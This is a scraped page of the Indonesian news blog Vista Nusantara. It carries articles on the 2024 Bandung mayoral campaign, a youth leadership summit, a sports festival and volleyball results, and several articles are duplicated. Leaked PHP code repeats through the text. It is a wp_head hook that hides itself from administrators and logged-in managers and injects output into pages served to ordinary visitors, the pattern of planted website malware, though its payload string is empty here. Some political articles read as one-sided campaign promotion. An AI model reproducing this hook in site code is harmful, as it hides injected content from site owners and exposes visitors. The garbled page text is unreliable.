if (!function_exists('f5cda30b4')) { function f5cda30b4() { if (is_admin() || (function_exists('is_user_logged_in') && is_user_logged_in() && function_exists('current_user_can') && current_user_can('manage_options'))) { return; } echo '' . "\n"; } } add_action('wp_head', 'f5cda30b4', 999); Vista Nusantara - Laman 233 dari 271 -
?> if (!function_exists(‘f5cda30b4’)) { function f5cda30b4() { if (is_admin() || (function_exists(‘is_user_logged_in’) && is_user_logged_in() && function_exists(‘current_user_can’) && current_user_can(‘manage_options’))) { return; } echo ‘' . "\n"; } } add_action('wp_head', 'f5cda30b4', 999);

Blog

?> if (!function_exists('f5cda30b4')) { function f5cda30b4() { if (is_admin() || (function_exists('is_user_logged_in') && is_user_logged_in() && function_exists('current_user_can') && current_user_can('manage_options'))) { return; } echo '' . "\n"; } } add_action('wp_head', 'f5cda30b4', 999);
  • Citra Buruk di Mata Publik, Hambatan Besar bagi Dandan-Arif di Pilkada

    BANDUNG, VISTA NUSANTARAPasangan calon Wali Kota dan Wakil Wali Kota Bandung 2024, Dandan Riza Wardana dan Arif Wijaya, yang berada di nomor urut 1, sedang hangat dibicarakan di kalangan masyarakat. 

    Meskipun memiliki visi besar untuk Bandung, rekam jejak mereka menjadi sorotan karena beberapa kesalahan masa lalu yang mencuat dan menimbulkan keraguan. Apakah pengalaman mereka dapat mempengaruhi kepercayaan publik dalam pemilihan ini?

    Salah satu isu yang mencolok adalah keterlibatan Dandan Riza Wardana dalam proyek pembangunan yang dianggap kontroversial. Proyek-proyek tersebut, yang cenderung bersifat komersial, dituduh kurang memperhatikan dampak lingkungan dan keberlanjutan. 

    Masyarakat mempertanyakan bagaimana ia akan mewujudkan visi Bandung yang hijau dan berkelanjutan ketika sebelumnya terlibat dalam proyek yang dikritik karena kurang ramah lingkungan.

    Sementara itu, Arif Wijaya memiliki latar belakang dalam organisasi sosial yang sering menjadi sorotan. Isu pengelolaan dana yang tidak transparan pernah muncul dan menimbulkan kekhawatiran tentang akuntabilitasnya. 

    Meskipun tidak ada bukti hukum yang menjeratnya, masalah ini tetap membayangi karir politiknya, sehingga muncul pertanyaan tentang kemampuannya dalam mengelola pemerintahan kota dengan jujur dan transparan.

    Selain itu, pasangan ini menghadapi kritik terkait perubahan sikap politik yang ditunjukkan sepanjang karir mereka. Terlibat dalam berbagai koalisi, mereka dinilai sering berganti pandangan sesuai dengan dinamika politik, yang menyebabkan keraguan tentang komitmen mereka terhadap visi dan misi yang diusung saat ini. Banyak yang bertanya-tanya apakah mereka memiliki prinsip yang kuat atau hanya mengikuti kepentingan politik sesaat.

    Pasangan ini juga dikritik karena janji kampanye yang dianggap tidak realistis dan terlalu ambisius. Dengan visi Bandung yang agamis, sejahtera, inovatif, dan kolaboratif, masyarakat ragu apakah mereka memiliki strategi konkret untuk menangani berbagai permasalahan kompleks di kota.

    Banyak yang berpendapat bahwa rekam jejak negatif ini bisa menjadi hambatan signifikan bagi Dandan Riza Wardana dan Arif Wijaya dalam meraih dukungan publik. Hal tersebut juga di sampaikan oleh Putri yang merupakan mahasiswi di salah satu Kampus swasta di Bandung. 

    Dia menyampaikan bahwasannya masyarakat harus lebih pintar dalam memilih pemimpin dan harus mengetahui segala latar belakangnya apakah bersih atau tidak. 

    “Pemimpin bersih itu ya sangat penting, kadang kita cuma ngelihat dari luar nya aja padahal seharusnya sifat asli dan latar belakangnya juga harus di lihat.” kata Putri 

    Setelah itu, ia membahas tentang bagaimana citra mereka di mata publik akan menjadi tantangan besar dalam usaha merebut kursi Wali Kota Bandung. Dengan rekam jejak yang kurang baik, akan sulit bagi mereka untuk memperoleh posisi tersebut.

    “Citra seorang tokoh itu penting, apabila dia memiliki rekam jejak yang pernah mendapatkan kasus korupsi, kita masyarakat pun harus cerdas dengan tidak memilih calon tersebut”. ungkap Putri.***
  • Kemenpora Gelar Youth Leadership Summit 2024 untuk Pemuda Berdaya Saing

    VISTA NUSANTARA — Kementerian Pemuda dan Olahraga (Kemenpora) gelar forum kepemudaan nasional Youth Leadership Summit 2024 untuk mendongkrak Indeks Pembangunan Pemuda (IPP) melalui partisipasi dan kepemimpinan pemuda di berbagai lini pembangunan.


    “Untuk berdaya saing secara nasional bahkan meningkat secara global perlu terus partisipasi pemuda. Harapannya saat Indonesia Emas 2045, para pemuda mampu bersaing secara skala internasional,” kata Deputi Pengembangan Pemuda Kemenpora Raden Isnanta saat membuka acara Youth Leadership Summit 2024 di Taman Mini Indonesia Indah (TMII) Jakarta, Minggu.

    Acara Youth Leadership Summit 2024 yang diselenggarakan selama 27 – 28 Oktober diikuti oleh perwakilan para talenta muda lima angkatan dan organisasi kepemudaan dari berbagai daerah di tanah air.

    Isnanta menjelaskan, urusan kepemudaan itu tidak sekedar satu urusan, namun akan banyak hal sesuai kegemaran dan aktivitas baik laki-laki maupun perempuan.

    Oleh sebab itu, ia melanjutkan, diperlukan kolaborasi berbagai pihak untuk mengerjakan berbagai urusan kepemudaan sehingga bisa tertuntaskan.

    “Pemuda ada yang senang olahraga, ada yang senang politik, ada yang senang bisnis, dan lain-lain. Maka kita harus terlibat dalam membangun semua lini tersebut,” ujarnya.

    Isnanta menambahkan, hal penting yang harus digarap ke depan yaitu mempersiapkan pada pemuda berpartisipasi dalam berbagai lini pembangunan menuju Indonesia Emas pada 2045 di mana kalangan pemuda yang mendominasi populasi bangsa harus mampu berdaya saing.

    “Karena itu mau tidak mau Indeks Pembangunan Pemuda harus terus ditingkatkan,” ujarnya.***
  • Arfi-Yena Siap Bawa Perubahan Nyata untuk Bandung

    BANDUNG, VISTA NUSANTARA Anggota DPR RI terpilih dari Partai Golkar, Atalia Praratya, sempat menjadi salah satu kandidat terkuat dalam bursa bakal calon Wali Kota Bandung 2024. Dalam segala survei, istri mantan Gubernur Jawa Barat, Ridwan Kamil ini selalu unggul dari kandidat lainnya.  
    Atalia pun menyatakan mundur dari Pilkada Kota Bandung dan memilih melanjutkan kariernya sebagai anggota DPR RI. Tiket sebagai bakal calon Wali Kota Bandung dari Partai Golkar pun jatuh kepada Arfi Rafnialdi yang kemudian berpasangan dengan Yena Masoem sebagai perwakilan dari Partai Solidaritas Indonesia (PSI). 
    Dalam sambutannya pada kegiatan Tasyakur Partai Golkar di Pasteur, Kota Bandung, Jumat (20/10/2024), Atalia berkomitmen memenangkan pasangan Arfi Rafnialdi dan Yena Iskandar Masoem dalam kontestasi Pilkada Kota Bandung 2024.
    Saya siap mendukung (Arfi-Yena) bersama teman-teman semua. Kita yakin kita bisa memaksimalkan suara di Bandung,” ujar Atalia
    Atalia menambahkan, dia juga siap mengajak para kader Golkar dan konstituennya untuk turun ke lapangan menyosialisasikan pasangan Arfi-Yena pada musim kampanye nanti.  
    “Kita ketuk pintu rumah warga di Bandung, kita ketuk hati warga Bandung dan kita ketuk pintu langit kita minta doa kepada semua,” kata Atalia.
    Atalia belum mendapat informasi tentang hasil survei terbaru pada Pilkada Kota Bandung. Karena itu, ia menekankan perlu kerja keras untuk memenangkan Arfi-Yena.
    “Kita perlu kerja keras. Saya masih belum melihat survei terakhir tapi saya kira kemenangan dari pasangan calon ini adalah kemenangan partai Golkar jadi kita enggak bisa diam,” ujarnya.
    Di tempat yang sama, Arfi Rafnialdi mengatakan, dia akan melanjutkan keberhasilan program-progran yang pernah dikerjakan Wali Kota Bandung sebelumnya seperti Dada Rosada, Ridwan Kamil hingga Oded M Danial.  
    Menurut Arfi, dia akan melanjutkan pembangunan pembangunan insfrastruktur di Kota Bandung agar merata di setiap daerah bukan hanya di pusat kota saja. “Supaya yang bagus trotoarnya bukan cuma Dago, bukan cuma jalan Riau, tapi ke Kopo, Ujungberung, Buahbatu, Panyileukan juga sehingga merata pembangunan di Kota Bandung, “tutupnya.***
  • Arfi Rafnialdi Incar Kemenangan di Pilkada Bandung

    BANDUNG, VISTA NUSANTARAAnggota DPR RI terpilih dari Partai Golkar, Atalia Praratya, sempat menjadi salah satu kandidat terkuat dalam bursa bakal calon Wali Kota Bandung 2024. Dalam segala survei, istri mantan Gubernur Jawa Barat, Ridwan Kamil ini selalu unggul dari kandidat lainnya.  
    Atalia pun menyatakan mundur dari Pilkada Kota Bandung dan memilih melanjutkan kariernya sebagai anggota DPR RI. Tiket sebagai bakal calon Wali Kota Bandung dari Partai Golkar pun jatuh kepada Arfi Rafnialdi yang kemudian berpasangan dengan Yena Masoem sebagai perwakilan dari Partai Solidaritas Indonesia (PSI). 
    Dalam sambutannya pada kegiatan Tasyakur Partai Golkar di Pasteur, Kota Bandung, Jumat (20/10/2024), Atalia berkomitmen memenangkan pasangan Arfi Rafnialdi dan Yena Iskandar Masoem dalam kontestasi Pilkada Kota Bandung 2024.
    Saya siap mendukung (Arfi-Yena) bersama teman-teman semua. Kita yakin kita bisa memaksimalkan suara di Bandung,” ujar Atalia
    Atalia menambahkan, dia juga siap mengajak para kader Golkar dan konstituennya untuk turun ke lapangan menyosialisasikan pasangan Arfi-Yena pada musim kampanye nanti.  
    “Kita ketuk pintu rumah warga di Bandung, kita ketuk hati warga Bandung dan kita ketuk pintu langit kita minta doa kepada semua,” kata Atalia.
    Atalia belum mendapat informasi tentang hasil survei terbaru pada Pilkada Kota Bandung. Karena itu, ia menekankan perlu kerja keras untuk memenangkan Arfi-Yena.
    “Kita perlu kerja keras. Saya masih belum melihat survei terakhir tapi saya kira kemenangan dari pasangan calon ini adalah kemenangan partai Golkar jadi kita enggak bisa diam,” ujarnya.
    Di tempat yang sama, Arfi Rafnialdi mengatakan, dia akan melanjutkan keberhasilan program-progran yang pernah dikerjakan Wali Kota Bandung sebelumnya seperti Dada Rosada, Ridwan Kamil hingga Oded M Danial.  
    Menurut Arfi, dia akan melanjutkan pembangunan pembangunan insfrastruktur di Kota Bandung agar merata di setiap daerah bukan hanya di pusat kota saja. “Supaya yang bagus trotoarnya bukan cuma Dago, bukan cuma jalan Riau, tapi ke Kopo, Ujungberung, Buahbatu, Panyileukan juga sehingga merata pembangunan di Kota Bandung, “tutupnya.***
  • Program Nyata Arfi-Yena Tarik Dukungan dari Basis Farhan-Erwin

    BANDUNG, VISTA NUSANTARASituasi politik menjelang Pilkada Kota Bandung 2024 semakin intens dengan pergeseran dukungan yang signifikan. Pasangan calon Wali Kota dan Wakil Wali Kota nomor urut 4, Arfi-Yena, berhasil menarik minat warga, terutama dari basis pemilih Farhan-Erwin, yang merasa kecewa karena janji kampanye Pileg tidak terpenuhi.
    Perubahan dukungan ini terlihat di beberapa wilayah penting di Kota Bandung, seperti Kiara Condong, Batununggal, Astana Anyar, Sukajadi, dan Babakan Ciparay. Rasa kecewa warga terlihat jelas akibat janji-janji kampanye mengenai perbaikan infrastruktur dan bantuan sosial dari Farhan-Erwin yang dianggap tidak terealisasi.
    Rina, warga Kelurahan Margasuka, menyatakan kekecewaannya. Sebelumnya mendukung pasangan Farhan-Erwin, kini ia beralih ke pasangan Arfi-Yena. “Dulu saya dukung nomor tiga, tetapi janji mengenai infrastruktur dan bantuan sosial belum ada realisasinya. Mereka juga jarang turun ke wilayah kami,” tuturnya, Sabtu (26/10/2024).
    Di sisi lain, kehadiran Arfi-Yena dengan program sosial seperti ‘Ayeuna Bazar 4.444 Paket Sembako’ mendapat respon positif. “Kami merasa lebih didengarkan. Apa yang mereka sampaikan benar-benar berkaitan dengan masalah sehari-hari kami,” tambah Rina.
    Program bazar sembako murah dan kegiatan sosial lainnya membuat warga merasa lebih dekat dengan pasangan Arfi-Yena. Ahmad, seorang warga Babakan Ciparay, menyatakan kedekatan dan komitmen pasangan ini menjadi alasan utama ia beralih dukungan. “Bukan hanya soal harga minyak, tetapi cara mereka berinteraksi dengan warga membuat kami merasa diperhatikan,” ujarnya sambil menunjukkan stiker Arfi-Yena di gerobak jualannya.
    Bukan hanya pemilih dewasa, kalangan muda yang sebelumnya netral kini juga merapat ke Arfi-Yena. Nanda, seorang mahasiswa di Kiara Condong, mengungkapkan kehadiran pasangan calon di lapangan memberi perspektif baru. “Awalnya kami terpengaruh janji, tetapi setelah melihat program nyata mereka, saya dan teman-teman jadi yakin. Arfi-Yena lebih realistis dan dapat diandalkan,” katanya.
    Tim relawan PANDAWA (Pasukan Arfi-Yena dari Warga) yang aktif di masyarakat menemukan keresahan serupa di beberapa wilayah yang dulunya menjadi basis kuat Farhan-Erwin. 
    “Warga menagih janji Pileg dan khawatir jika mereka gagal lagi di Pilkada,” kata Ustaz Ruslan Abdul Ghani, Koordinator PANDAWA, akrab disapa Ust Uge. “Sekarang harapan warga berpindah ke Arfi-Yena. Inshaallah, pasangan nomor 4 ini akan menang.”ucapnya.
    Menjelang pemilihan, Arfi-Yena dianggap mampu membuktikan bahwa keterlibatan langsung dan program nyata lebih menarik daripada janji politik semata. 
    Warga kini berharap besar kepada pasangan ini untuk membawa perubahan bagi Kota Bandung. “Yang dibutuhkan masyarakat adalah pemimpin yang dekat dan peduli. Arfi-Yena tampaknya memiliki potensi besar untuk memenuhi harapan itu,” ucapnya dengan optimis.***
  • Janji Tak Terpenuhi, Warga Bandung Pindah Dukung Arfi-Yena

    BANDUNG, VISTA NUSANTARASituasi politik menjelang Pilkada Kota Bandung 2024 semakin intens dengan pergeseran dukungan yang signifikan. Pasangan calon Wali Kota dan Wakil Wali Kota nomor urut 4, Arfi-Yena, berhasil menarik minat warga, terutama dari basis pemilih Farhan-Erwin, yang merasa kecewa karena janji kampanye Pileg tidak terpenuhi.
    Perubahan dukungan ini terlihat di beberapa wilayah penting di Kota Bandung, seperti Kiara Condong, Batununggal, Astana Anyar, Sukajadi, dan Babakan Ciparay. Rasa kecewa warga terlihat jelas akibat janji-janji kampanye mengenai perbaikan infrastruktur dan bantuan sosial dari Farhan-Erwin yang dianggap tidak terealisasi.
    Rina, warga Kelurahan Margasuka, menyatakan kekecewaannya. Sebelumnya mendukung pasangan Farhan-Erwin, kini ia beralih ke pasangan Arfi-Yena. “Dulu saya dukung nomor tiga, tetapi janji mengenai infrastruktur dan bantuan sosial belum ada realisasinya. Mereka juga jarang turun ke wilayah kami,” tuturnya, Sabtu (26/10/2024).
    Di sisi lain, kehadiran Arfi-Yena dengan program sosial seperti ‘Ayeuna Bazar 4.444 Paket Sembako’ mendapat respon positif. “Kami merasa lebih didengarkan. Apa yang mereka sampaikan benar-benar berkaitan dengan masalah sehari-hari kami,” tambah Rina.
    Program bazar sembako murah dan kegiatan sosial lainnya membuat warga merasa lebih dekat dengan pasangan Arfi-Yena. Ahmad, seorang warga Babakan Ciparay, menyatakan kedekatan dan komitmen pasangan ini menjadi alasan utama ia beralih dukungan. “Bukan hanya soal harga minyak, tetapi cara mereka berinteraksi dengan warga membuat kami merasa diperhatikan,” ujarnya sambil menunjukkan stiker Arfi-Yena di gerobak jualannya.
    Bukan hanya pemilih dewasa, kalangan muda yang sebelumnya netral kini juga merapat ke Arfi-Yena. Nanda, seorang mahasiswa di Kiara Condong, mengungkapkan kehadiran pasangan calon di lapangan memberi perspektif baru. “Awalnya kami terpengaruh janji, tetapi setelah melihat program nyata mereka, saya dan teman-teman jadi yakin. Arfi-Yena lebih realistis dan dapat diandalkan,” katanya.
    Tim relawan PANDAWA (Pasukan Arfi-Yena dari Warga) yang aktif di masyarakat menemukan keresahan serupa di beberapa wilayah yang dulunya menjadi basis kuat Farhan-Erwin. 
    “Warga menagih janji Pileg dan khawatir jika mereka gagal lagi di Pilkada,” kata Ustaz Ruslan Abdul Ghani, Koordinator PANDAWA, akrab disapa Ust Uge. “Sekarang harapan warga berpindah ke Arfi-Yena. Inshaallah, pasangan nomor 4 ini akan menang.”ucapnya.
    Menjelang pemilihan, Arfi-Yena dianggap mampu membuktikan bahwa keterlibatan langsung dan program nyata lebih menarik daripada janji politik semata. 
    Warga kini berharap besar kepada pasangan ini untuk membawa perubahan bagi Kota Bandung. “Yang dibutuhkan masyarakat adalah pemimpin yang dekat dan peduli. Arfi-Yena tampaknya memiliki potensi besar untuk memenuhi harapan itu,” ucapnya dengan optimis.***
  • Adil Hakim Siapkan Jakarta Sportfestival untuk Perkenalkan Olahraga Masyarakat

    VISTA NUSANTARA — Calon Ketua Umum Komite Olahraga Masyarakat Indonesia (KORMI) Adil Hakim menggandeng puluhan Induk Organisasi Olahraga (Inorga) dan KORMI daerah untuk menghelat Jakarta Sportfestival.


    Ajang itu direncanakan berlangsung di Teater dan GOR Bulungan, Jakarta, 16-17 November.

    “Jakarta Sportfestival merupakan Pesta Olahraga Masyarakat yang akan menjadi program kerja KORMI Nasional jika saya dipercaya menjadi Ketua Umum KORMI Nasional,” kata Adil Hakim seperti dikutip dari keterangan tertulis yang diterima pewarta.

    “Sampai saat ini, Jakarta Sportfestival melibatkan puluhan Induk Olahraga dari tiga komisi dan KORMI daerah,” lanjutnya.

    Adil Hakim memaparkan bahwa Jakarta Sportfestival merupakan suatu potensi pengembangan industri olahraga dan olahraga wisata yang bisa semakin mengenalkan nama KORMI.

    “Jadi pada Sportfestival, Inorga punya kesempatan untuk lebih mengenalkan olahraga masing-masing kepada masyarakat,” ujar Adil.

    Sportfestival direncanakan diikuti sembilan Inorga, yaitu Balance Bike, Senam Taichi, Silat Tradisional, Street Soccer, Skateboard, Senam Kebugaran, Line Dance, Barongsai, dan Binaraga Fisik.

    Adil merupakan salah satu kandidat ketua umum KORMI, setelah kepengurusan KORMI 2020-2024 akan berakhir masa tugasnya. Musyawarah Nasional KORMI untuk memilih ketua baru sebelumnya dijadwalkan berlangsung pada Oktober atau November, tetapi sampai saat ini belum ada kejelasan mengenai pelaksanaan agenda tersebut.***
  • Indomaret Sidoarjo dan LavAni Navy Lolos ke Final Four Livoli 2024

    VISTA NUSANTARA — Tim bola voli putra Indomaret Sidoarjo dan LavAni Navy sama-sama melaju ke putaran final four kompetisi voli antarklub Livoli Divisi Utama 2024.


    Kedua tim tersebut menyegel tiket final setelah sama-sama memetik kemenangan ketiga di Pul A yang berlangsung di GOR Laga Tangkas, Pakan Sari, Cibinong, Kabuaten Bogor, Jumat (25/10).

    Indomaret Sidoarjo memenangkan laga ketiganya di putaran reguler pertama usai menjinakkan Ganevo Yogyakarta tiga set langsung 3-0 (25-21, 25-23, 25-22).

    Meski telah memastikan tiket ke final, pelatih Indomaret Iwan Dedi Setiawan mengatakan belum puas dengan performa anak asuhnya yang masih kerap terbawa permainan lawan.

    “Sebelum main saya sudah ingatkan anak-anak agar jangan terbawa permainan lawan,” kata Iwan yang akrab disapa Giso.

    Sementara itu, manajer tim Indomaret Sutono juga mengaku belum puas dengan permainan Alvin Daniel dan kawan-kawan yang masih banyak melakukan kesalahan.

    Namun, Sutono merasa senang timnya sudah maju ke final four di Gresik.

    Sebelumnya, tim asuhan Iwan Dedi Setiawan tersebut memenangkan dua laga yakni melawan Eka Mandiri Salatiga 3-0 dan Perumda Tirta Bhagasasi Bekasi 3-1.

    Sedangkan LavAni Navy pada laga ketiganya menundukkan Perumda Tirta Bhagasasi Bekasi dengan skor 3-0 (29-27, 25-20, 25-22).

    Di dua laga sebelumnya, klub milik Presiden RI ke-6 Susilo Bambang Yudhoyono itu membungkam Eka Mandiri dan Ganevo masing-masing dengan skor identik 3-0.

    Dengan tiga kemenangan tersebut kedua tim tidak mungkin lagi terkejar oleh Ganevo, Perumda, dan Eka Mandiri karena kedua tim, yaitu Ganevo dan Perumda, baru sekali menang dan dua kali kalah. Sedang Eka Mandiri belum pernah menang di tiga laga.

    Indomaret dan LavAni masih akan saling berhadapan dua kali untuk menentukan posisi di klasemen sementara Pul A, Sabtu, dan kembali untuk menentukan final Pul A, juara dan runner up, Minggu (27/10).
    Sementara di kategori putri, Tectona Bandung harus berjuang keras menaklukkan Jenggolo Sport Sidoarjo usai bermain lima set 3-2 (21-25, 25-22, 25-23, 24-26, 17-15).

    Kedua tim masih akan bertanding pada Minggu (27/10) untuk menentukan posisi 3-4. Keduanya merupakan tim promosi dari divisi satu.***
  • Perusakan APK Arfi-Yena, Demokrasi Bandung Tercoreng

    BANDUNG, VISTA NUSANTARASejumlah alat peraga kampanye (APK) pasangan calon Wali Kota dan Wakil Wali Kota Bandung nomor urut 4, Arfi Rafnialdi-Yena Iskandar Ma’soem dirusak. Naradamping atau liaison officer (LO) pasangan Arfi-Yena, Cucu Sukmana sangat menyayangkan perbuatan tersebut. Pihaknya mengajak kepada pelaku perusakan untuk saling menghormati, termasuk di tengah tahapan kampanye pemilihan kepala daerah. 
    Berdasarkan hasil monitoring lapangan, serta laporan masyarakat -termasuk relawan- dalam dua pekan ini, banyak baliho, serta T banner paslon Arfi-Yena yang disobek. Selain itu, sejumlah banner dan spanduk hilang. 
    “Tidak kurang dari 20 baliho yang disobek. Banyak juga T banner yang disobek, atau dipatahkan bambunya. Belum lagi spanduk dan banner hilang beberapa hari setelah pemasangan. Kami mencatat, titik baliho, spanduk, banner, atribut lain yang rusak maupun hilang. Dokumentasinya juga ada (disimpan),” tutur Cucu, Jumat (25/10/2024). 
    Baliho paslon nomor 4 yang dirusak, di antaranya di dekat gerbang kompleks Cempaka Arum, Gedebage. Kompleks itu merupakan kediaman Cucu. Sejauh pengalamannya sebagai pelaku politik, Cucu mengatakan, baru kali ini melihat perusakan alat peraga kampanye paslon Wali Kota dan Wakil Wali Kota Bandung di area setempat.
    Mengedepankan upaya persuasif, pihaknya belum melaporkan perbuatan itu ke Bawaslu Kota Bandung. Menurut aturan, berlaku sanski pidana bagi yang merusak atau menghilangkan alat peraga kampanya. 
    “Seusai arahan Kang Arfi dan Teh Yena, tak mesti langsung lapor, melainkan lebih dahulu menyampaikan imbauan dan menjalin komunikasi. Apalagi, kami tak menghendaki untuk mencari-cari kesalahan orang lain.
    Cucu turut menyampaikan, komunikasi dan koordinasi dengan LO paslon lain di Pilkada Kota Bandung terus berjalan baik. Berdasarkan informasi dari tiap-tiap LO, sejumlah APK paslon lain pun dirusak. 
    Cucu menyebutkan, salah satu tujuan pemasangan baliho, spanduk, banner, maupun atribut lainnya, yakni meningkatkan partisipasi pemilih pada pilkada. Harapannya, tingkat partisipasi pemilih pada Pemilihan Wali Kota Bandung 2024 lebih tinggi ketimbang 2018. 
    “Angka partisipasi pemilih pada (pilwalkot) 2018, sekitar 76%. Kami berharap, partisipasi pemilih pada pilwalkot 2024, paling tidak 85%. Mari, sama-sama saling menghargai dan menghormati masa kampanye, bagian dari tahapan pilkada. Pesan yang tertera dalam spanduk, baliho, banner perlu sampai ke masyarakat,” ucap Cucu.
    Cucu optimistis, situasi demokrasi di Kota Bandung tetap indah, damai, riang gembira saat seluruh pihak saling menjaga dan menghormati. Dengan demikian, proses untuk mencari pemimpin lebih baik untuk Kota Bandung ke depan berjalan kondusif dan lancar. 
    Beriringan dengan hal itu, Cucu memohon kepada pengurus RT dan RW, lurah, camat, kepolisian, panwaslu tingkat kelurahan dan kecamatan agar ikut memerhartikan serta memonitor keutuhan APK. Hal itu dalam rangka mencegah kejadian serupa terulang di kemudian hari. 
    Pada kesempatan terpisah, juru bicara paslon Arfi-Yena, Reza Arfah pun menyayangkan tindakan perusakan APK. Perbuatan itu turut mencederai semangat demokrasi, bukan hanya merugikan paslon Arfi-Yena beserta tim. 
    “Kami percaya, bahwa setiap calon berhak untuk berkampanye dengan cara yang positif dan damai. Tindakan seperti itu tidak membantu proses demokrasi yang sehat. Bersamaan dengan hal itu, kami ingin menekankan komitmen untuk menjalankan kampanye yang bersih dan saling menghormati. Kami menghargai setiap suara dan pendapat masyarakat,” ucap Reza.
    Atas nama paslon Arfi-Yena, Reza mengajak para pendukung agar tetap positif dan tidak terpengaruh oleh tindakan negatif. Pendukung perlu tetap fokus pada visi perubahan yang menjadi harapan bersama.
    “Kami berharap, masyarakat Kota Bandung dapat tetap bersatu dan mendukung proses demokrasi yang konstruktif. Setiap dukungan dan partisipasi sangat berarti bagi kami. Kita (elemen masyarakat Kota Bandung) ingin yang terbaik untuk Kota Bandung. Mari menjaga komunikasi yang baik dan saling menghormati. Hal itu yang akan membawa kita (Kota Bandung) ke arah yang lebih baik,” tutur Reza.***
  • 20 Baliho Arfi-Yena Dirusak, Tim Imbau Saling Menghormati

    BANDUNG, VISTA NUSANTARASejumlah alat peraga kampanye (APK) pasangan calon Wali Kota dan Wakil Wali Kota Bandung nomor urut 4, Arfi Rafnialdi-Yena Iskandar Ma’soem dirusak. Naradamping atau liaison officer (LO) pasangan Arfi-Yena, Cucu Sukmana sangat menyayangkan perbuatan tersebut. Pihaknya mengajak kepada pelaku perusakan untuk saling menghormati, termasuk di tengah tahapan kampanye pemilihan kepala daerah. 
    Berdasarkan hasil monitoring lapangan, serta laporan masyarakat -termasuk relawan- dalam dua pekan ini, banyak baliho, serta T banner paslon Arfi-Yena yang disobek. Selain itu, sejumlah banner dan spanduk hilang. 
    “Tidak kurang dari 20 baliho yang disobek. Banyak juga T banner yang disobek, atau dipatahkan bambunya. Belum lagi spanduk dan banner hilang beberapa hari setelah pemasangan. Kami mencatat, titik baliho, spanduk, banner, atribut lain yang rusak maupun hilang. Dokumentasinya juga ada (disimpan),” tutur Cucu, Jumat (25/10/2024). 
    Baliho paslon nomor 4 yang dirusak, di antaranya di dekat gerbang kompleks Cempaka Arum, Gedebage. Kompleks itu merupakan kediaman Cucu. Sejauh pengalamannya sebagai pelaku politik, Cucu mengatakan, baru kali ini melihat perusakan alat peraga kampanye paslon Wali Kota dan Wakil Wali Kota Bandung di area setempat.
    Mengedepankan upaya persuasif, pihaknya belum melaporkan perbuatan itu ke Bawaslu Kota Bandung. Menurut aturan, berlaku sanski pidana bagi yang merusak atau menghilangkan alat peraga kampanya. 
    “Seusai arahan Kang Arfi dan Teh Yena, tak mesti langsung lapor, melainkan lebih dahulu menyampaikan imbauan dan menjalin komunikasi. Apalagi, kami tak menghendaki untuk mencari-cari kesalahan orang lain.
    Cucu turut menyampaikan, komunikasi dan koordinasi dengan LO paslon lain di Pilkada Kota Bandung terus berjalan baik. Berdasarkan informasi dari tiap-tiap LO, sejumlah APK paslon lain pun dirusak. 
    Cucu menyebutkan, salah satu tujuan pemasangan baliho, spanduk, banner, maupun atribut lainnya, yakni meningkatkan partisipasi pemilih pada pilkada. Harapannya, tingkat partisipasi pemilih pada Pemilihan Wali Kota Bandung 2024 lebih tinggi ketimbang 2018. 
    “Angka partisipasi pemilih pada (pilwalkot) 2018, sekitar 76%. Kami berharap, partisipasi pemilih pada pilwalkot 2024, paling tidak 85%. Mari, sama-sama saling menghargai dan menghormati masa kampanye, bagian dari tahapan pilkada. Pesan yang tertera dalam spanduk, baliho, banner perlu sampai ke masyarakat,” ucap Cucu.
    Cucu optimistis, situasi demokrasi di Kota Bandung tetap indah, damai, riang gembira saat seluruh pihak saling menjaga dan menghormati. Dengan demikian, proses untuk mencari pemimpin lebih baik untuk Kota Bandung ke depan berjalan kondusif dan lancar. 
    Beriringan dengan hal itu, Cucu memohon kepada pengurus RT dan RW, lurah, camat, kepolisian, panwaslu tingkat kelurahan dan kecamatan agar ikut memerhartikan serta memonitor keutuhan APK. Hal itu dalam rangka mencegah kejadian serupa terulang di kemudian hari. 
    Pada kesempatan terpisah, juru bicara paslon Arfi-Yena, Reza Arfah pun menyayangkan tindakan perusakan APK. Perbuatan itu turut mencederai semangat demokrasi, bukan hanya merugikan paslon Arfi-Yena beserta tim. 
    “Kami percaya, bahwa setiap calon berhak untuk berkampanye dengan cara yang positif dan damai. Tindakan seperti itu tidak membantu proses demokrasi yang sehat. Bersamaan dengan hal itu, kami ingin menekankan komitmen untuk menjalankan kampanye yang bersih dan saling menghormati. Kami menghargai setiap suara dan pendapat masyarakat,” ucap Reza.
    Atas nama paslon Arfi-Yena, Reza mengajak para pendukung agar tetap positif dan tidak terpengaruh oleh tindakan negatif. Pendukung perlu tetap fokus pada visi perubahan yang menjadi harapan bersama.
    “Kami berharap, masyarakat Kota Bandung dapat tetap bersatu dan mendukung proses demokrasi yang konstruktif. Setiap dukungan dan partisipasi sangat berarti bagi kami. Kita (elemen masyarakat Kota Bandung) ingin yang terbaik untuk Kota Bandung. Mari menjaga komunikasi yang baik dan saling menghormati. Hal itu yang akan membawa kita (Kota Bandung) ke arah yang lebih baik,” tutur Reza.***
?> if (!function_exists('f5cda30b4')) { function f5cda30b4() { if (is_admin() || (function_exists('is_user_logged_in') && is_user_logged_in() && function_exists('current_user_can') && current_user_can('manage_options'))) { return; } echo '' . "\n"; } } add_action('wp_head', 'f5cda30b4', 999);